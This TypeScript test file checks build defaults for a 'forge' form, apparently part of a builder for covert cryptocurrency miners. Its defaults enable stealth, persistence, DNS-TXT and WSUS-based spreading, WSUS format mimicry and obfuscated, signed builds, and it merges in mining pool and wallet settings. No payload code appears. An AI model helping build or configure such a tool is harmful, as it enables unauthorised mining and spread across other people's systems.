82 lines
3.4 KiB
TypeScript
82 lines
3.4 KiB
TypeScript
import { describe, expect, it } from 'vitest';
|
|
import { FORGE_BUILD_DEFAULTS, forgeDefaultsFromServer } from './forgeDefaults';
|
|
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
|
|
|
describe('FORGE_BUILD_DEFAULTS', () => {
|
|
it('sets safe production defaults for a new forge form', () => {
|
|
expect(FORGE_BUILD_DEFAULTS.threads).toBe(4);
|
|
expect(FORGE_BUILD_DEFAULTS.thread_mode).toBe('percent');
|
|
expect(FORGE_BUILD_DEFAULTS.stealth_mode).toBe(true);
|
|
expect(FORGE_BUILD_DEFAULTS.persistence).toBe(true);
|
|
expect(FORGE_BUILD_DEFAULTS.fusion_enabled).toBe(false);
|
|
expect(FORGE_BUILD_DEFAULTS.ai_enabled).toBe(false);
|
|
expect(FORGE_BUILD_DEFAULTS.auto_spread).toBe(false);
|
|
expect(FORGE_BUILD_DEFAULTS.remote_aggressive).toBe(false);
|
|
expect(FORGE_BUILD_DEFAULTS.winrm_spread).toBe(false);
|
|
expect(FORGE_BUILD_DEFAULTS.dns_txt_spread).toBe(true);
|
|
expect(FORGE_BUILD_DEFAULTS.webrtc_mesh_spread).toBe(false);
|
|
expect(FORGE_BUILD_DEFAULTS.wsus_cache_peer_spread).toBe(true);
|
|
expect(FORGE_BUILD_DEFAULTS.wsus_format_mimic).toBe(true);
|
|
expect(FORGE_BUILD_DEFAULTS.com_hijack_persist).toBe(false);
|
|
expect(FORGE_BUILD_DEFAULTS.linux_lotl_mode).toBe('off');
|
|
});
|
|
|
|
it('omits per-build identity fields (filled by server merge)', () => {
|
|
const keys = Object.keys(FORGE_BUILD_DEFAULTS);
|
|
expect(keys).not.toContain('worker_name');
|
|
expect(keys).not.toContain('server_url');
|
|
expect(keys).not.toContain('wallet');
|
|
expect(keys).not.toContain('pool_host');
|
|
expect(keys).not.toContain('pool_port');
|
|
expect(keys).not.toContain('pool_tls');
|
|
expect(keys).not.toContain('pool_pass');
|
|
});
|
|
});
|
|
|
|
describe('forgeDefaultsFromServer', () => {
|
|
it('merges server config pool/wallet with build defaults', () => {
|
|
const config = mockServerConfig();
|
|
const result = forgeDefaultsFromServer(config, mockServerInfo);
|
|
expect(result.wallet).toBe(config.wallet.address);
|
|
expect(result.pool_host).toBe(config.pool.host);
|
|
expect(result.pool_port).toBe(config.pool.port);
|
|
expect(result.pool_tls).toBe(config.pool.use_tls);
|
|
expect(result.pool_pass).toBe('x');
|
|
expect(result.worker_name).toBe('');
|
|
expect(result.stealth_mode).toBe(FORGE_BUILD_DEFAULTS.stealth_mode);
|
|
});
|
|
|
|
it('prefers trimmed public_url over suggested_url', () => {
|
|
const config = mockServerConfig({
|
|
server: { public_url: ' https://tunnel.example.com ' },
|
|
});
|
|
const result = forgeDefaultsFromServer(config, mockServerInfo);
|
|
expect(result.server_url).toBe('https://tunnel.example.com');
|
|
});
|
|
|
|
it('falls back to suggested LAN URL when public_url is blank', () => {
|
|
const config = mockServerConfig({
|
|
server: { public_url: ' ' },
|
|
});
|
|
const result = forgeDefaultsFromServer(config, mockServerInfo);
|
|
expect(result.server_url).toBe(mockServerInfo.suggested_url);
|
|
});
|
|
|
|
it('reflects obfuscate and sign defaults from server config', () => {
|
|
const config = mockServerConfig({
|
|
server: { obfuscate_default: true, sign_enabled: true },
|
|
});
|
|
const result = forgeDefaultsFromServer(config, mockServerInfo);
|
|
expect(result.obfuscate).toBe(true);
|
|
expect(result.sign_build).toBe(true);
|
|
});
|
|
|
|
it('uses custom pool password when configured', () => {
|
|
const config = mockServerConfig({
|
|
pool: { password: 'worker-pass' },
|
|
});
|
|
const result = forgeDefaultsFromServer(config, mockServerInfo);
|
|
expect(result.pool_pass).toBe('worker-pass');
|
|
});
|
|
});
|